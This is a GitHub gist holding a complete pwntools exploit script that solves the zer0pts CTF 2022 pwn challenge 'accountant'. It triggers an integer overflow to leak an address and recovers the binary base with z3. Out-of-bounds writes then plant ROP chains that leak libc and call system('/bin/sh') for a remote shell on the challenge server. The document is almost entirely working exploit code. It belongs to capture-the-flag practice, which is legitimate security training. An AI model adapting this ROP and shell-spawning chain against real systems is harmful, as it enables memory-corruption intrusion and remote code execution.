Skip to content

Instantly share code, notes, and snippets.

@c0nrad

c0nrad/solve.py Secret

Created March 5, 2025 18:45
Show Gist options
  • Save c0nrad/ba2ed3b7c3344e7d8388b095a27863a6 to your computer and use it in GitHub Desktop.
Save c0nrad/ba2ed3b7c3344e7d8388b095a27863a6 to your computer and use it in GitHub Desktop.
zer0pts CTF 2022 pwn/accountant
import pwn
import time
import warnings
warnings.filterwarnings(action='ignore', category=BytesWarning)
elf = pwn.ELF("./chall_patched")
pwn.context.binary = elf
pwn.context.log_level = "DEBUG"
pwn.context(terminal=['tmux', 'split-window', '-h'])
def sla(x : bytes | str, y : bytes | str): p.sendlineafter(x, y)
def sa(x : bytes | str, y: bytes | str): p.sendafter(x, y)
def sl(x : bytes | str): p.sendline(x)
def ru(x : bytes | str, drop=True) -> bytes: return p.recvuntil(x, drop=drop)
def rl() -> bytes: return p.recvline()
def p64(x : int) -> bytes: return pwn.p64(x)
def u64(x : bytes) -> int: return pwn.u64(x)
def printf_range() -> str: return ".".join([f"%{i}$p" for i in range(5, 10)])
def upack(v): return pwn.u16(pwn.p16(v, signed=True))
libc = pwn.ELF("./libc.so.6")
p = elf.process()
p = pwn.remote("34.170.146.252", "19415")
# pwn.gdb.attach(p, "b *main+434")
sla("items: ", str(2**64 // 8))
p.recvuntil("Total: $")
leak = int(p.recvline().strip())
sla("[1=Yes]", "1")
def crack(leak):
import z3
def upack(v): return pwn.u32(pwn.p32(v, signed=True))
v = upack(leak)
s = z3.Solver()
h = z3.BitVec('h', 32)
l = z3.BitVec('l', 32)
s.add(h > 0x5500)
s.add(h < 0x6500)
s.add(l & 0xfff == 0xb6c)
s.add(h * l == v)
assert s.check()
address = s.model()[h].as_long() << 32 | s.model()[l].as_long()
print(f"{address=:x}")
return address
address = crack(leak)
elf.address = address - (0x5692d1a00b6c - 0x5692d1a00000)
print(f"{elf.address=:x}")
# ROP to leak libc
ret_offset = 11
rop = pwn.ROP(elf)
rop.call(elf.symbols['puts'], [elf.got['puts']])
rop.call(elf.symbols['main'])
def chomp(b):
return [b[i:i+8] for i in range(0, len(b), 8)]
for i, gadget in enumerate(chomp(rop.chain())):
print(f"{i=}, {gadget=}")
sla("quit): ", str(ret_offset + i))
sla("Price: $", str(pwn.u64(gadget) & 0xffffffff))
sla("Quantity: ", str(pwn.u64(gadget) >> 32))
sla("quit): ", str(-1))
p.recvuntil("work!\n")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
print(f"{libc_leak=:x}")
libc.address = libc_leak - libc.symbols['puts']
print(f"{libc.address=:x}")
#Round 2, rop to system
sla("items: ", str(2**64 // 8))
sla("[1=Yes]", "1")
ret_offset = 11
rop = pwn.ROP(libc)
rop.raw(rop.find_gadget(['ret']))
rop.system(next(libc.search(b"/bin/sh\x00")))
# rop.puts()
for i, gadget in enumerate(chomp(rop.chain())):
print(f"{i=}, {gadget=}")
sla("quit): ", str(ret_offset + i))
sla("Price: $", str(pwn.u64(gadget) & 0xffffffff))
sla("Quantity: ", str(pwn.u64(gadget) >> 32))
sla("quit): ", str(-1))
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment